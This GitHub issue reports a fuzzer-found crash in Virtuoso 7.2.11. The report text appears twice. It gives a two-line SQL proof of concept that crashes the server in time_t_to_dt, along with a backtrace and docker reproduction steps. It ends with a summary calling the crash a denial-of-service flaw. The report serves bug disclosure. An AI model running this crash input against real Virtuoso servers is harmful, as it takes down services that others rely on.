The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE v0 ( v1 DATE NULL ) ;
 INSERT INTO v0 ( v1 , v1 ) VALUES ( 72057594037927935 , '-675 seconds' ) ;
```

backtrace:
```c
#0 0x4cbbad (time_t_to_dt+0x4d)
#1 0x658fbe (box_cast+0x7be)
#2 0x65e8f4 (box_cast_to+0x124)
#3 0x601bf0 (row_insert_cast+0x8e0)
#4 0x8283c4 (ssl_insert_cast+0xee4)
#5 0x7b6249 (insert_node_run+0x3a9)
#6 0x7b6b1c (insert_node_input+0x11c)
#7 0x7af05e (qn_input+0x3ce)
#8 0x7af05e (qn_input+0x3ce)
#9 0x7c1be9 (qr_dml_array_exec+0x839)
#10 0x7ce602 (sf_sql_execute+0x15d2)
#11 0x7cecde (sf_sql_execute_w+0x17e)
#12 0x7d799d (sf_sql_execute_wrapper+0x3d)
#13 0xe214bc (future_wrapper+0x3fc)
#14 0xe28dbe (_thread_boot+0x11e)
#15 0x7ffa0526d609 (start_thread+0xd9)
#16 0x7ffa0503d133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.11 crashed at `time_t_to_dt`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.11 crashed at `time_t_to_dt`
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE v0 ( v1 DATE NULL ) ;
 INSERT INTO v0 ( v1 , v1 ) VALUES ( 72057594037927935 , '-675 seconds' ) ;
```

backtrace:
```c
#0 0x4cbbad (time_t_to_dt+0x4d)
#1 0x658fbe (box_cast+0x7be)
#2 0x65e8f4 (box_cast_to+0x124)
#3 0x601bf0 (row_insert_cast+0x8e0)
#4 0x8283c4 (ssl_insert_cast+0xee4)
#5 0x7b6249 (insert_node_run+0x3a9)
#6 0x7b6b1c (insert_node_input+0x11c)
#7 0x7af05e (qn_input+0x3ce)
#8 0x7af05e (qn_input+0x3ce)
#9 0x7c1be9 (qr_dml_array_exec+0x839)
#10 0x7ce602 (sf_sql_execute+0x15d2)
#11 0x7cecde (sf_sql_execute_w+0x17e)
#12 0x7d799d (sf_sql_execute_wrapper+0x3d)
#13 0xe214bc (future_wrapper+0x3fc)
#14 0xe28dbe (_thread_boot+0x11e)
#15 0x7ffa0526d609 (start_thread+0xd9)
#16 0x7ffa0503d133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in the `time_t_to_dt` function of Virtuoso 7.2.11 can be triggered by executing a crafted SQL statement that inserts invalid date values. This vulnerability can lead to a Denial of Service (DoS) as the application crashes when processing the input.